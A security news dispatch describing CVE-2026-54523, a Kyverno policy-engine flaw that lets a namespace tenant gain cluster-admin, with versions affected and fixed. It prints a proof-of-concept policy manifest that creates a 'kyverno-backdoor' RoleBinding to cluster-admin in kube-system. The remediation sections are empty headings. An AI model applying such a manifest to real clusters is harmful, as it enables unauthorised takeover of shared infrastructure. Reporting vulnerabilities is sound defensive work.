← News
/DISPATCH · 2026-07-28

CVE-2026-54523: Kyverno Policy Engine Namespace Privilege Escalation, PoC Public

Kyverno disclosed critical CVE-2026-54523 (CVSS 9.6). A namespace tenant can escalate to kube-system admin via a malicious policy. PoC is public; multi-tenant isolation is at risk.

On 17 July 2026, Kyverno—a widely used Kubernetes-native policy engine—was disclosed with a critical privilege-escalation flaw, CVE-2026-54523, CVSS 9.6. A namespace tenant can escalate to admin in any namespace, including `kube-system`.

Incident overview

Kyverno is a leading Kubernetes policy engine, widely deployed in production by finance, cloud providers, and large enterprises for security governance, resource compliance, and admission control. The bug sits in the policy engine itself—the tool installed to enforce security is the highest-risk attack vector.

Technical details and a full PoC are public. Exploitation barrier is low. Researchers warn ransomware weaponization is a matter of time.

Technical details

Root cause

Bug is in Kyverno NamespacedGeneratingPolicy. In the CEL generator, `apply()` takes a target namespace argument. Kyverno never checks that argument against the policy's own namespace.

A malicious tenant can point the generator at any namespace—including `kube-system`. Kyverno's background controller has cluster-level privileges by default and can create RoleBinding, Role, ConfigMap, and NetworkPolicy resources.

Attack chain

PoC core logic

apiVersion: kyverno.io/v1alpha2
kind: NamespacedGeneratingPolicy
metadata:
  name: cve-2026-54523-exploit
  namespace: test-ns  # attacker-controlled namespace
spec:
  rules:
  - name: cross-ns-escalate
    match:
      resources:
        kinds: ["ConfigMap"]
    generate:
      apiVersion: rbac.authorization.k8s.io/v1
      kind: RoleBinding
      namespace: kube-system  # cross-namespace targeting the system namespace
      name: kyverno-backdoor
      subject:
      - kind: ServiceAccount
        name: default
        namespace: test-ns
      roleRef:
        apiGroup: rbac.authorization.k8s.io
        kind: ClusterRole
        name: cluster-admin

Impact

| Attribute | Details | | --- | --- | | Impacted versions | Kyverno 1.18.1 and earlier | | Fixed version | Kyverno 1.18.2 | | Exploit requirements | NamespacedGeneratingPolicy create permission | | In-the-wild | Unconfirmed; PoC is public | | Affected platforms | OpenShift, Rancher, EKS, AKS, GKE, and other distros running Kyverno |

Remediation

Immediate actions

Long-term hardening

Sources